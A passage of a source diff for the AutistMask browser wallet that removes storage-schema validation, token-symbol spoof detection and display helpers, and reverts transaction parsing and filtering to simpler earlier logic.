     currentAddress,
     currentNetwork,
-    StateNotLoadedError,
 };

src/shared/stateSchema.js

@@ -1,278 +0,0 @@
-// The version stamped on the stored profile, and the shape check every read
-// of one goes through.
-//
-// Storage is the one input to this extension that nobody validated. A profile
-// carried no version at all, so there was no way to tell a record this build
-// understands from one a later build wrote, and loadState() coerced scalars
-// while trusting the structure — so a `wallets` that was a string, or an array
-// of nulls, or a later schema's wallet records, reached the popup and threw on
-// the first dereference. The popup rendered NOTHING: no view, no message, no
-// control, and no way out from inside the product
-// (https://git.eeqj.de/sneak/AutistMask/issues/311).
-//
-// Two separate jobs, deliberately not merged:
-//
-//   stateProblem() / assertStateUsable()  refuse a record this build cannot
-//                     safely reason about, loudly, naming the problem in a
-//                     sentence that goes on screen. This is the gate.
-//   normalizePersisted() (persistedState.js)  self-heal a record that IS
-//                     usable: absent fields, legacy shapes, out-of-range flags.
-//
-// The gate runs FIRST, on the raw stored bytes, before normalization has a
-// chance to paper over a record whose meaning nobody can vouch for. A blob
-// that fails it is left in storage untouched — it is the user's only copy of
-// whatever it holds, and the recovery screen exports it before offering to
-// erase it.
-//
-// What is checked HERE is what nothing downstream can floor: the wallet list,
-// the version, and the network id that keys an object. Every other field is
-// normalizePersisted()'s to make safe, and what that function does is NOT
-// uniform across the record.
-//
-// WHICH FLOOR A GIVEN FIELD HAS IS NOT WRITTEN HERE. It is
-// tests/persistedFieldContract.test.js: one row per persisted field, naming
-// the property that field's floor is claimed to have, and PROVING it by
-// driving the real code with hostile values — the gate for a field the gate
-// refuses, normalizePersisted() for a field it floors, and, for a field whose
-// only defence is that nothing dereferences it structurally, a boot of the
-// real popup entry point onto EVERY view the popup can reopen onto.
-//
-// That last part is the whole point, because this defect class lives on the
-// RESTORE path and not on Home. Take the claim NARROWLY, exactly as that file
-// states it: what those boots prove is no structural dereference on the code
-// paths a WHOLLY-CORRUPTED PROFILE takes — which is not every path a stored
-// record takes. Not driven: any pairing of values the four slots do not
-// produce, a view only forward navigation opens, anything behind a click, and
-// everything a healthy profile reaches. Within that boundary the verdict is
-// unconditional, including a dereference that takes two corrupted fields at
-// once. That suite also goes red on a field that gains a floor while its row
-// still claims it has none, and on a field added to PERSISTED_FIELDS with no
-// row at all.
-//
-// That test exists because this comment did not work. It carried a
-// hand-written justification per field, and it shipped a false one in three
-// consecutive changes — a different field each time, each caught only by a
-// reviewer re-deriving thirty fields by hand. A claim nobody can execute is
-// worse than no claim, because it is believed.
-//
-// The trap is worth stating here, since it is what all three got wrong: a
-// check on a CONTAINER is not a check on its ENTRIES, and the dereference is
-// one level below the container. `[1, 2]` is a list, `{"0x…": "notalist"}` is
-// a record, and `{"currentView":"success-tx","viewData":{"hash":"0x1"}}`
-// passes the restore gate and throws on the address the renderer below it
-// reads. A field added to the record needs a decision about its entries as
-// well as its shape — and then a row in that test.
-
-const { isKnownNetworkId } = require("./networks");
-
-// Bump this when the MEANING of a stored field changes, and add the migration
-// that carries the older version forward. Adding a field with a defaulted
-// absent value is not a bump: normalizePersisted() already handles that, and
-// bumping for it would send every older install to the recovery screen for no
-// reason.
-//
-// Version 1 is the shape that shipped unversioned. An unversioned record is
-// therefore version 1, not a defect — see migrationNeeded() below.
-const STATE_SCHEMA_VERSION = 1;
-
-// Thrown by every read path that finds a record it cannot use. `problem` is
-// the sentence shown to the user; `message` carries the same text so a log
-// line or a rethrow is not empty.
-class StateUnusableError extends Error {
-    constructor(problem) {
-        super(problem);
-        this.name = "StateUnusableError";
-        this.problem = problem;
-    }
-}
-
-function isPlainObject(value) {
-    return typeof value === "object" && value !== null && !Array.isArray(value);
-}
-
-// Own properties only, everywhere in this file. `saved` comes from storage as
-// parsed JSON, so `saved.constructor` and `saved.__proto__` answer from the
-// prototype chain for a record that carries neither — a check written as a
-// plain truthiness test can be satisfied by Object.prototype rather than by
-// anything the user's profile actually contains.
-function has(obj, key) {
-    return Object.prototype.hasOwnProperty.call(obj, key);
-}
-
-function ordinal(index) {
-    return String(index + 1);
-}
-
-function describeType(value) {
-    if (value === null) return "null";
-    if (Array.isArray(value)) return "a list";
-    return "a " + typeof value;
-}
-
-// One address record, as every screen dereferences it.
-function addressProblem(addr, walletIndex, addrIndex) {
-    const where =
-        "address " +
-        ordinal(addrIndex) +
-        " of wallet " +
-        ordinal(walletIndex) +
-        " in the saved data";
-    if (!isPlainObject(addr)) {
-        return "The " + where + " is " + describeType(addr) + ", not a record.";
-    }
-    if (typeof addr.address !== "string" || addr.address === "") {
-        return "The " + where + " has no address.";
-    }
-    return null;
-}
-
-function walletProblem(wallet, index) {
-    const where = "Wallet " + ordinal(index) + " in the saved data";
-    if (!isPlainObject(wallet)) {
-        return where + " is " + describeType(wallet) + ", not a wallet record.";
-    }
-    if (!Array.isArray(wallet.addresses)) {
-        return where + " has no list of addresses.";
-    }
-    if (has(wallet, "name") && typeof wallet.name !== "string") {
-        return where + " has a name that is not text.";
-    }
-    for (let i = 0; i < wallet.addresses.length; i++) {
-        const problem = addressProblem(wallet.addresses[i], index, i);
-        if (problem) return problem;
-    }
-    return null;
-}
-
-function versionProblem(saved) {
-    // No version field at all is the shape every install in the field has:
-    // no build ever wrote one. It is version 1, and it is migrated in place.
-    if (!has(saved, "schemaVersion")) return null;
-    const version = saved.schemaVersion;
-    if (
-        typeof version !== "number" ||
-        !Number.isInteger(version) ||
-        version < 1
-    ) {
-        return (
-            "The saved data carries a schema version AutistMask does not" +
-            " recognize (" +
-            JSON.stringify(version) +
-            ")."
-        );
-    }
-    if (version > STATE_SCHEMA_VERSION) {
-        return (
-            "The saved data was written by a newer version of AutistMask" +
-            " (schema version " +
-            version +
-            "; this build understands version " +
-            STATE_SCHEMA_VERSION +
-            ")."
-        );
-    }
-    return null;
-}
-
-/**
- * The reason this build cannot use `saved`, as a sentence for the user, or
- * null when it can.
- *
- * @param {*} saved the raw record from storage, or undefined for a fresh
- *     install.
- * @returns {string|null}
- */
-function stateProblem(saved) {
-    // Nothing stored is a first run, not a defect.
-    if (saved === undefined || saved === null) return null;
-    if (!isPlainObject(saved)) {
-        return (
-            "The saved data is " +
-            describeType(saved) +
-            ", not the record AutistMask stores."
-        );
-    }
-
-    const version = versionProblem(saved);
-    if (version) return version;
-
-    // Read once, from an OWN property or not at all, so that a polluted
-    // prototype cannot decide whether a profile is refused. Note that
-    // normalizePersisted() reads the same field plainly, and so WOULD consult
-    // the prototype chain: the two halves agree only because a record arriving
-    // from storage has been through structuredClone and always carries
-    // Object.prototype. Nothing reachable from storage can put them at odds,
-    // but a caller that hands either one a hand-built object with an unusual
-    // prototype is not covered by that.
-    const wallets =
-        has(saved, "wallets") && saved.wallets !== undefined
-            ? saved.wallets
-            : [];
-    if (!Array.isArray(wallets)) {
-        return (
-            "The list of wallets in the saved data is " +
-            describeType(wallets) +
-            ", not a list."
-        );
-    }
-    for (let i = 0; i < wallets.length; i++) {
-        const problem = walletProblem(wallets[i], i);
-        if (problem) return problem;
-    }
-
-    // networkId is not merely displayed: it is an object KEY into
-    // state.networkEndpoints. A corrupt "__proto__" would set that map's
-    // prototype instead of an own key, so the user's endpoint would silently
-    // not be recorded and a switch away and back would return the public
-    // default. isKnownNetworkId() is an own-property test against the network
-    // table for exactly that reason.
-    if (
-        has(saved, "networkId") &&
-        saved.networkId !== undefined &&
-        !isKnownNetworkId(saved.networkId)
-    ) {
-        return (
-            "The saved data selects a network AutistMask does not know (" +
-            JSON.stringify(saved.networkId) +
-            ")."
-        );
-    }
-
-    return null;
-}
-
-/**
- * Refuse a record this build cannot use.
- *
- * @param {*} saved the raw record from storage.
- * @throws {StateUnusableError}
- */
-function assertStateUsable(saved) {
-    const problem = stateProblem(saved);
-    if (problem) throw new StateUnusableError(problem);
-}
-
-/**
- * Whether `saved` is a usable record written before versions existed, and so
- * gets the current version stamped on it the next time anything writes. Purely
- * informational — the migration itself is that stamp, since version 1 IS the
- * unversioned shape.
- *
- * @param {*} saved
- * @returns {boolean}
- */
-function migrationNeeded(saved) {
-    return (
-        isPlainObject(saved) &&
-        !has(saved, "schemaVersion") &&
-        stateProblem(saved) === null
-    );
-}
-
-module.exports = {
-    STATE_SCHEMA_VERSION,
-    StateUnusableError,
-    assertStateUsable,
-    migrationNeeded,
-    stateProblem,
-};

src/shared/symbolDisplay.js

@@ -1,43 +0,0 @@
-// The length bound on a token symbol as displayed.
-//
-// A symbol is whatever an ERC-20's symbol() returns and the wallet fetches
-// it from the block explorer, which imposes no length: src/shared/balances.js
-// takes `item.token.symbol` as given. A kilobyte-long symbol is a real
-// return value, and rendering it pushes every amount off the row, scrolls
-// the balance list past the screen, and hides the figures the user is there
-// to read.
-//
-// This is a layout bound, not a security control. Escaping is what makes a
-// hostile symbol inert (see src/shared/html.js), and isSpoofedSymbol() is
-// what catches one impersonating a known ticker; neither job belongs here
-// and neither is done here. Truncating an unescaped symbol would still be
-// an injection, just a shorter one.
-//
-// 12 characters, which is the bound lookupTokenInfo() in
-// src/shared/balances.js already applies when it stores a symbol read
-// straight off a contract; the explorer path was the one with no bound at
-// all. The longest symbol across the 512 entries of the bundled list is 10
-// (MSYRUPUSDP), so nothing the wallet ships as a real token is ever
-// truncated. The ellipsis is what tells the user the name they are looking
-// at is not the whole name — worth knowing before they send to it.
-
-const MAX_SYMBOL_LENGTH = 12;
-
-// The placeholder for a token whose symbol the explorer did not report.
-// balances.js already substitutes this; repeated here so a symbol that
-// arrives empty from anywhere else displays the same way rather than as a
-// blank gap in the row.
-const UNKNOWN_SYMBOL = "???";
-
-function displaySymbol(symbol) {
-    const s = symbol === null || symbol === undefined ? "" : String(symbol);
-    if (s.length === 0) return UNKNOWN_SYMBOL;
-    if (s.length <= MAX_SYMBOL_LENGTH) return s;
-    return s.slice(0, MAX_SYMBOL_LENGTH - 1) + "…";
-}
-
-module.exports = {
-    displaySymbol,
-    MAX_SYMBOL_LENGTH,
-    UNKNOWN_SYMBOL,
-};

src/shared/symbolSpoof.js

@@ -1,108 +0,0 @@
-// The known-symbol spoof rule, in one place.
-//
-// A token that borrows a known symbol from a contract that is not the one
-// that symbol belongs to is a spoof, and the wallet hides it.  Three surfaces
-// ask that question — the transaction history, the Send token selector and
-// the balance list — and they must answer it identically: a token the history
-// calls fake while the balance list lists it as a holding is worse than
-// either verdict alone, because the balance list is where the user forms
-// their belief about what they own (issue #235).
-//
-// KNOWN_SYMBOLS maps a symbol to the set of lowercased contract addresses
-// that may bear it, or to null.  Null means the symbol belongs to the native
-// asset, which has no contract at all, so no contract may bear it and every
-// one that does is a spoof.  "ETH" is the only such entry today; the rule is
-// written so that a second one needs no change here or at any call site.
-//
-// The value is a set because a ticker is not unique: seven symbols in the
-// bundled list belong to two real contracts each, and answering with one of
-// them hid the other one's holders' money (issue #276).  Membership, not
-// equality, is therefore the question — but it is the same question, asked of
-// a table that can now state the truth.  Every address in a set is one the
-// wallet ships as a real token; a contract outside the set is still a spoof.
-//
-// The symbol is attacker-controlled — it is whatever the ERC-20 contract
-// returns — so the lookup is done on a normalized form (issue #260): the
-// question is whether the symbol reaches the user's eye as a known one,
-// since that is what the user acts on.
-
-const { KNOWN_SYMBOLS } = require("./tokenList");
-
-// Ethereum addresses are case-insensitive: EIP-55 mixed case is a checksum
-// over the address, not part of its identity.
-function normalizeAddress(addr) {
-    return (addr || "").toLowerCase();
-}
-
-// Fold a symbol onto what a user actually sees, and no further:
-//
-//   NFKC        collapses compatibility variants that render as the ASCII
-//               letters they imitate — fullwidth ETH, styled mathematical
-//               letters — and maps the non-ASCII spaces onto U+0020.
-//   strip       drops what paints nothing: \p{Cf} plus
-//               \p{Default_Ignorable_Code_Point} plus U+007F.  That covers
-//               the format characters (zero-width space, joiner and
-//               non-joiner, word joiner, soft hyphen, byte-order mark, bidi
-//               marks and overrides), the variation selectors, the Hangul
-//               fillers, and DELETE.  Removed everywhere, not merely at the
-//               ends.
-//   trim        removes surrounding whitespace, which HTML collapses:
-//               `" ETH "` is painted next to the user's real ETH as `ETH`.
-//   toUpperCase makes the comparison case-insensitive, as before.
-//
-// The rule is "strip what paints nothing".  The Unicode classes are how
-// that is spelled, not what it means, which is why U+007F is named on its
-// own: it is a control rather than a default-ignorable character, so no
-// class here reaches it, yet it paints nothing all the same.  Measured in
-// the repo's pinned e2e Chromium (16px sans-serif, plain `ETH` = 32.00px,
-// so an invisible prefix leaves 32.00px):
-//
-//   U+007F, U+3164, U+115F, U+FE0F, U+FE00   32.00px — invisible
-//   U+FFA0                                   40.00px — a box
-//   U+1160                                   48.00px — a box
-//   U+0001, U+0085, U+0090                   48.00px — a box
-//
-// U+1160 and U+FFA0 are `Default_Ignorable_Code_Point` members that font
-// fallback nonetheless draws, and they are stripped anyway: erring toward
-// hiding a token that does not look like `ETH` is the harmless direction of
-// the two.  The other controls are left alone for the same reason read the
-// other way — a symbol carrying a visible box does not reach the eye as
-// `ETH`, so filtering it would hide a token the user could not have
-// confused with the native asset.
-//
-// Deliberately not folded, and asserted as open in tests/symbolSpoof.test.js:
-// interior whitespace (`E T H` renders as `E T H`, so folding it would filter
-// a token nobody could confuse with the native asset), confusables that are
-// distinct letters rather than compatibility variants (Cyrillic capital Ie,
-// U+0415; Greek capital Epsilon, U+0395), bidi reordering, which needs the
-// bidi algorithm rather than a character filter, and the visible controls.
-//
-// This decides only how the question is asked.  Nothing here changes what a
-// surface displays; a token still shows the symbol it reports.
-function normalizeSymbol(symbol) {
-    return String(symbol || "")
-        .normalize("NFKC")
-        .replace(/[\p{Cf}\p{Default_Ignorable_Code_Point}\x7F]/gu, "")
-        .trim()
-        .toUpperCase();
-}
-
-// True when a token bearing `symbol` from contract `contractAddress` is
-// impersonating a known symbol.
-//
-// An empty contract address is the native asset, which is never a spoof:
-// this is what keeps the user's real ETH out of the rule, and it holds for
-// any symbol that becomes null-mapped later, not just for ETH.
-function isSpoofedSymbol(symbol, contractAddress) {
-    const contract = normalizeAddress(contractAddress);
-    if (!contract) return false;
-    const sym = normalizeSymbol(symbol);
-    if (!KNOWN_SYMBOLS.has(sym)) return false;
-    const legit = KNOWN_SYMBOLS.get(sym);
-    if (legit === null) return true;
-    return !legit.has(contract);
-}
-
-module.exports = {
-    isSpoofedSymbol,
-};

src/shared/tokenList.js

@@ -3607,33 +3607,14 @@ for (const t of TOKENS) {
     TOKEN_BY_ADDRESS.set(t.address.toLowerCase(), t);
 }
 
-// Build a map of symbol (uppercased) -> the set of contract addresses
-// (lowercased) that legitimately bear it.  Used for spoofed-symbol detection.
-// "ETH" maps to null: the native asset has no contract, so no contract may
-// bear its symbol.
-//
-// The value is a set and not a single address because tickers are not unique
-// and the list above proves it: seven of these 512 tokens share a symbol with
-// another entry — FRAX, REUSD, TON, EURE, MSUSD, MUSD and JPYC — at two
-// different real contracts each, all of them from the same source fetch.  A
-// one-address-per-symbol table can only answer that by picking a winner, and
-// the loser is then a token in our own bundled list that the spoof filter
-// hides from the balance list, the history and the send selector at its own
-// address, so the user cannot spend it (issue #276).  Naming every address
-// that bears the symbol is the only shape that says what is true; it does not
-// loosen the rule, because a contract outside the set is still a spoof.
+// Build a map of symbol (uppercased) -> legitimate contract address (lowercased).
+// Used for spoofed-symbol detection. "ETH" maps to null (native token).
 const KNOWN_SYMBOLS = new Map();
 KNOWN_SYMBOLS.set("ETH", null);
 for (const t of TOKENS) {
     const upper = t.symbol.toUpperCase();
     if (!KNOWN_SYMBOLS.has(upper)) {
-        KNOWN_SYMBOLS.set(upper, new Set());
-    }
-    const addresses = KNOWN_SYMBOLS.get(upper);
-    // A null entry is the native asset and stays null: an ERC-20 that reports
-    // the native symbol does not thereby become entitled to it.
-    if (addresses !== null) {
-        addresses.add(t.address.toLowerCase());
+        KNOWN_SYMBOLS.set(upper, t.address.toLowerCase());
     }
 }
 

src/shared/transactions.js

@@ -8,24 +8,13 @@
 
 const { formatEther, formatUnits } = require("ethers");
 const { log, debugFetch } = require("./log");
-const { TOKEN_BY_ADDRESS } = require("./tokenList");
-const { parseHoldersCount, isLowHolderCount } = require("./holders");
-const { isSpoofedSymbol } = require("./symbolSpoof");
-// The uint8 test every scale in this wallet goes through. Shared, not copied:
-// a scale is either reported or it is unknown, and "unknown" must mean the
-// same thing here as it does on the screens that refuse to format one.
-const { toDecimals } = require("./transferAmount");
-// The plain 4-decimal rule. The history and balance lists deliberately keep
-// truncation without the approval screens' nonzero floor: the transaction
-// detail view is the authoritative record and already shows exact precision.
-const { truncateAmount: formatTxValue } = require("./amountDisplay");
+const { KNOWN_SYMBOLS, TOKEN_BY_ADDRESS } = require("./tokenList");
 
-// Ethereum addresses are case-insensitive: EIP-55 mixed case is a checksum
-// over the address, not part of its identity.  Every address comparison in
-// this file goes through this helper, so an address arriving in checksummed
-// or upper-case form can never be read as a different address.
-function normalizeAddress(addr) {
-    return (addr || "").toLowerCase();
+function formatTxValue(val) {
+    const parts = val.split(".");
+    if (parts.length === 1) return val + ".0000";
+    const dec = (parts[1] + "0000").slice(0, 4);
+    return parts[0] + "." + dec;
 }
 
 function parseTx(tx, addrLower) {
@@ -41,10 +30,10 @@ function parseTx(tx, addrLower) {
     let exactValue = formatEther(rawWei);
     let rawAmount = rawWei;
     let rawUnit = "wei";
-    let direction = normalizeAddress(from) === addrLower ? "sent" : "received";
+    let direction = from.toLowerCase() === addrLower ? "sent" : "received";
     let directionLabel = direction === "sent" ? "Sent" : "Received";
     if (toIsContract && method && method !== "transfer") {
-        const token = TOKEN_BY_ADDRESS.get(normalizeAddress(to));
+        const token = TOKEN_BY_ADDRESS.get(to.toLowerCase());
         if (token) {
             symbol = token.symbol;
         }
@@ -96,134 +85,37 @@ function parseTx(tx, addrLower) {
 function parseTokenTransfer(tt, addrLower) {
     const from = tt.from?.hash || "";
     const to = tt.to?.hash || "";
-    // The explorer's own answer, or null. Never a default: a transfer of
-    // 5000000000 units formatted at a guessed 18 reads as 0.000000005, and
-    // nothing downstream can tell that from a real 18-decimal transfer of
-    // that size. `parseInt(x || "18", 10)` also collapsed a genuine scale of
-    // ZERO into 18 (https://git.eeqj.de/sneak/AutistMask/issues/246).
-    const decimals = toDecimals(tt.total?.decimals);
+    const decimals = parseInt(tt.total?.decimals || "18", 10);
     const rawVal = tt.total?.value || "0";
-    const direction =
-        normalizeAddress(from) === addrLower ? "sent" : "received";
+    const direction = from.toLowerCase() === addrLower ? "sent" : "received";
     const sym = tt.token?.symbol || "?";
-    // Without a scale there is no token quantity, so none is stated: the list
-    // row falls back to the symbol alone and the detail screen to its
-    // direction label, exactly as the contract-call rows above already do.
-    // The exact figure is not lost — it is the base-unit line below, which is
-    // the one number that needs no scale to be true.
-    const formatted =
-        decimals === null ? "" : formatTxValue(formatUnits(rawVal, decimals));
-    const exact = decimals === null ? "" : formatUnits(rawVal, decimals);
     return {
         hash: tt.transaction_hash,
         blockNumber: tt.block_number,
         timestamp: Math.floor(new Date(tt.timestamp).getTime() / 1000),
         from: from,
         to: to,
-        value: formatted,
-        exactValue: exact,
+        value: formatTxValue(formatUnits(rawVal, decimals)),
+        exactValue: formatUnits(rawVal, decimals),
         rawAmount: rawVal,
-        rawUnit:
-            decimals === null
-                ? sym + " base units (decimals unknown)"
-                : sym + " base units (10^-" + decimals + ")",
+        rawUnit: sym + " base units (10^-" + decimals + ")",
         valueGwei: null,
         symbol: sym,
         direction: direction,
         directionLabel: direction === "sent" ? "Sent" : "Received",
         isError: false,
-        contractAddress: normalizeAddress(
-            tt.token?.address_hash || tt.token?.address || "",
-        ),
-        // null when the explorer reported no count: unknown, not zero.  The
-        // low-holder filter declines to judge a null, so a legitimate token
-        // is not hidden because a field went missing upstream.
-        holders: parseHoldersCount(tt.token?.holders_count),
+        contractAddress: (
+            tt.token?.address_hash ||
+            tt.token?.address ||
+            ""
+        ).toLowerCase(),
+        holders: parseInt(tt.token?.holders_count || "0", 10),
     };
 }
 
-// True when a parsed native entry moved no ETH.  Contract-call entries have
-// their amount fields blanked by parseTx, so they are never judged here.
-function movedNoEther(tx) {
-    if (tx.direction === "contract") return false;
-    return BigInt(tx.rawAmount || "0") === BigInt(0);
-}
-
-// Merge parsed normal transactions with parsed ERC-20 token transfers into
-// one row per distinct value movement.  Pure: it reads only its arguments
-// and returns a new list sorted newest block first.
-//
-// The merge key is the transaction hash for the native entry and
-// hash + token contract for each token transfer, so:
-//
-//   - A display-level contract call (a swap and friends, direction
-//     "contract") absorbs every token leg of its hash into the single
-//     native entry, because the legs are hops of one operation rather
-//     than separate movements the user made.
-//   - Otherwise each distinct token contract in the transaction keeps its
-//     own row, so a hash carrying several genuine transfers stays several
-//     rows.
-//   - The native entry of such a transaction is dropped when it moved no
-//     ETH and at least one token transfer shares its hash: that entry is
-//     the ERC-20 call itself, already represented by the token row.  A
-//     native entry that moved ETH survives alongside the token rows, since
-//     the ETH and the tokens are two real movements, and a zero-value
-//     native transaction with no token transfer on its hash survives too.
-function mergeTransactions(txs, tokenTransfers) {
-    const byKey = new Map();
-
-    // Entries are copied so consolidation never writes through to the
-    // caller's objects.
-    for (const tx of txs) {
-        byKey.set(tx.hash, { ...tx });
-    }
-
-    const absorbedHashes = new Set();
-
-    for (const parsed of tokenTransfers) {
-        const existing = byKey.get(parsed.hash);
-        if (existing && existing.direction === "contract") {
-            // For contract calls (swaps), consolidate into the original
-            // tx entry.  Prefer the "received" transfer (swap output)
-            // for the display amount.  If no received transfer exists,
-            // fall back to the first "sent" transfer (swap input).
-            const isReceived = parsed.direction === "received";
-            const needsAmount = !existing.exactValue;
-            if (isReceived || needsAmount) {
-                existing.value = parsed.value;
-                existing.exactValue = parsed.exactValue;
-                existing.rawAmount = parsed.rawAmount;
-                existing.rawUnit = parsed.rawUnit;
-                existing.symbol = parsed.symbol;
-                existing.contractAddress = parsed.contractAddress;
-                existing.holders = parsed.holders;
-            }
-            // Keep the original tx's from/to (the user's address and the
-            // contract they called), not the token transfer's from/to
-            // which may be a router or Permit2 contract.
-            continue;
-        }
-        if (existing && movedNoEther(existing)) {
-            absorbedHashes.add(parsed.hash);
-        }
-        // Every other token transfer gets its own entry.
-        byKey.set(parsed.hash + ":" + (parsed.contractAddress || ""), {
-            ...parsed,
-        });
-    }
-
-    for (const hash of absorbedHashes) {
-        byKey.delete(hash);
-    }
-
-    const merged = [...byKey.values()];
-    merged.sort((a, b) => b.blockNumber - a.blockNumber);
-    return merged;
-}
-
 async function fetchRecentTransactions(address, blockscoutUrl, count = 25) {
     log.debugf("fetchRecentTransactions", address);
-    const addrLower = normalizeAddress(address);
+    const addrLower = address.toLowerCase();
 
     const [txResp, ttResp] = await Promise.all([
         debugFetch(blockscoutUrl + "/addresses/" + address + "/transactions"),
@@ -253,62 +145,104 @@ async function fetchRecentTransactions(address, blockscoutUrl, count = 25) {
     const txJson = txResp.ok ? await txResp.json() : {};
     const ttJson = ttResp.ok ? await ttResp.json() : {};
 
-    const txs = mergeTransactions(
-        (txJson.items || []).map((tx) => parseTx(tx, addrLower)),
-        (ttJson.items || []).map((tt) => parseTokenTransfer(tt, addrLower)),
-    );
+    const txsByHash = new Map();
 
+    for (const tx of txJson.items || []) {
+        txsByHash.set(tx.hash, parseTx(tx, addrLower));
+    }
+
+    // When a token transfer shares a hash with a normal tx, the normal tx
+    // is the contract call (0 ETH) and the token transfer has the real
+    // amount and symbol.  For contract calls (swaps), a single transaction
+    // can produce multiple token transfers (input, intermediates, output).
+    // We consolidate these into the original tx entry using the token
+    // transfer where the user *receives* tokens (the swap output), so
+    // the transaction list shows the final result rather than confusing
+    // intermediate hops.  We preserve the original tx's from/to so the
+    // user sees their own address, not a router or Permit2 contract.
+    for (const tt of ttJson.items || []) {
+        const parsed = parseTokenTransfer(tt, addrLower);
+        const existing = txsByHash.get(parsed.hash);
+        if (existing && existing.direction === "contract") {
+            // For contract calls (swaps), consolidate into the original
+            // tx entry.  Prefer the "received" transfer (swap output)
+            // for the display amount.  If no received transfer exists,
+            // fall back to the first "sent" transfer (swap input).
+            const isReceived = parsed.direction === "received";
+            const needsAmount = !existing.exactValue;
+            if (isReceived || needsAmount) {
+                existing.value = parsed.value;
+                existing.exactValue = parsed.exactValue;
+                existing.rawAmount = parsed.rawAmount;
+                existing.rawUnit = parsed.rawUnit;
+                existing.symbol = parsed.symbol;
+                existing.contractAddress = parsed.contractAddress;
+                existing.holders = parsed.holders;
+            }
+            // Keep the original tx's from/to (the user's address and the
+            // contract they called), not the token transfer's from/to
+            // which may be a router or Permit2 contract.
+            continue;
+        }
+        // Non-contract token transfers get their own entries.
+        const ttKey = parsed.hash + ":" + (parsed.contractAddress || "");
+        txsByHash.set(ttKey, parsed);
+    }
+
+    const txs = [...txsByHash.values()];
+
+    txs.sort((a, b) => b.blockNumber - a.blockNumber);
     const result = txs.slice(0, count);
     log.debugf("fetchRecentTransactions done, count:", result.length);
     return result;
 }
 
+// Check if a token transfer is spoofing a known symbol.
+// Returns true if the symbol matches a known token but the contract
+// address doesn't match the legitimate one.
+function isSpoofedSymbol(tx) {
+    if (!tx.contractAddress) return false;
+    const symbol = (tx.symbol || "").toUpperCase();
+    if (!KNOWN_SYMBOLS.has(symbol)) return false;
+    const legit = KNOWN_SYMBOLS.get(symbol);
+    if (legit === null) return true; // "ETH" as ERC-20 is always fake
+    return tx.contractAddress !== legit;
+}
+
 // Pure filter function. Takes raw transactions and filter settings,
 // returns { transactions, newFraudContracts }.
 function filterTransactions(txs, filters = {}) {
     const fraudSet = new Set(
-        (filters.fraudContracts || []).map(normalizeAddress),
+        (filters.fraudContracts || []).map((a) => a.toLowerCase()),
     );
-    // The dust threshold defaults only when it is unset (nullish): a
-    // threshold of 0 is a real value meaning "hide nothing", since no
-    // transaction has a value below 0 gwei.  It is therefore equivalent to
-    // clearing the hide-dust checkbox, and the two controls cannot override
-    // each other in either direction.
-    const dustThresholdGwei = filters.dustThresholdGwei ?? 100000;
     const newFraud = [];
     const filtered = [];
-    // Fail-safe, unlike the three flags below: this one is off only when the
-    // caller says so explicitly, so a caller that omits the key keeps the
-    // check rather than silently losing it.  The setting also governs the
-    // blocklist learning below, which exists only to serve this check —
-    // leaving learning on while the check is off would re-hide the very rows
-    // the user asked to see, through the fraud-contract rule.
-    const hideSpoofed = filters.hideSpoofedSymbols !== false;
 
     for (const tx of txs) {
-        const contract = normalizeAddress(tx.contractAddress);
-
-        // Filter spoofed known symbols and record the fraud contract
-        if (hideSpoofed && isSpoofedSymbol(tx.symbol, tx.contractAddress)) {
-            if (contract && !fraudSet.has(contract)) {
-                fraudSet.add(contract);
-                newFraud.push(contract);
+        // Always filter spoofed known symbols and record the fraud contract
+        if (isSpoofedSymbol(tx)) {
+            if (tx.contractAddress && !fraudSet.has(tx.contractAddress)) {
+                fraudSet.add(tx.contractAddress);
+                newFraud.push(tx.contractAddress);
             }
             continue;
         }
 
         // Filter fraud contracts if setting is on
-        if (filters.hideFraudContracts && contract && fraudSet.has(contract)) {
+        if (
+            filters.hideFraudContracts &&
+            tx.contractAddress &&
+            fraudSet.has(tx.contractAddress)
+        ) {
             continue;
         }
 
-        // Filter low-holder tokens (<1000) if setting is on.  A token whose
-        // holder count the explorer did not report is kept: only a reported
-        // count below the threshold is "low".
+        // Filter low-holder tokens (<1000) if setting is on
         if (
             filters.hideLowHolderTokens &&
             tx.contractAddress &&
-            isLowHolderCount(tx.holders)
+            tx.holders !== null &&
+            tx.holders < 1000
         ) {
             continue;
         }
@@ -320,7 +254,7 @@ function filterTransactions(txs, filters = {}) {
             filters.hideDustTransactions &&
             !tx.isContractCall &&
             tx.valueGwei !== null &&
-            tx.valueGwei < dustThresholdGwei
+            tx.valueGwei < (filters.dustThresholdGwei || 100000)
         ) {
             continue;
         }
@@ -331,8 +265,4 @@ function filterTransactions(txs, filters = {}) {
     return { transactions: filtered, newFraudContracts: newFraud };
 }
 
-module.exports = {
-    fetchRecentTransactions,
-    filterTransactions,
-    mergeTransactions,
-};
+module.exports = { fetchRecentTransactions, filterTransactions };

src/shared/transferAmount.js

@@ -1,126 +0,0 @@
-// The base-unit amount an ERC-20 transfer from the wallet's own Send screen is
-// encoded with.
-//
-// A token amount is a decimal string plus a scale, and the two come from
-// different places. The confirmation screen renders the amount, the balance and
-// the symbol from the block explorer's cached metadata (see
-// fetchTokenBalances() in balances.js); the transfer used to be encoded from
-// decimals() read off the contract at signing time, and nothing compared the
-// two. A token whose on-chain scale differs from the cached one — an
-// upgradeable or proxy token, a caller-dependent one, a stale or wrong explorer
-// entry — therefore signed an amount that was never displayed, off by a power
-// of ten for every decimal place of disagreement.
-//
-// So the scale used to encode is the scale the screen rendered with, carried
-// forward on the pending transaction, and the contract's own answer is read
-// only to be compared with it. A disagreement is a refusal, never a preference
-// for either number: the wallet cannot tell which of the two the user meant,
-// and both candidate transfers move an amount nobody approved.
-//
-// This is the confirmTx counterpart to approvalVerify.js, which does the same
-// job for the dApp approval path, and it takes the same stance: a quantity that
-// cannot be compared with what was displayed has not been checked, so an absent
-// or unusable value is refused rather than filled in.
-//
-// Every message here is shown to the user on the transaction error screen, so
-// each is a full sentence and names the numbers it is refusing over.
-
-const { parseUnits } = require("ethers");
-
-// Solidity's decimals() returns a uint8, so anything outside that range is not
-// an answer this wallet can use.
-const MAX_DECIMALS = 255;
-
-const UNKNOWN_DISPLAYED_DECIMALS_MESSAGE =
-    "The transfer was not sent, because the number of decimal places this" +
-    " amount was shown with is unknown, so the amount that would be signed" +
-    " cannot be shown to be the amount that was displayed.";
-
-const UNREADABLE_CONTRACT_DECIMALS_MESSAGE =
-    "The transfer was not sent, because the token contract did not report a" +
-    " usable number of decimal places, so the amount that would be signed" +
-    " cannot be checked against the amount that was displayed.";
-
-function mismatchMessage(displayed, onChain) {
-    return (
-        "The transfer was not sent. The token contract reports " +
-        onChain +
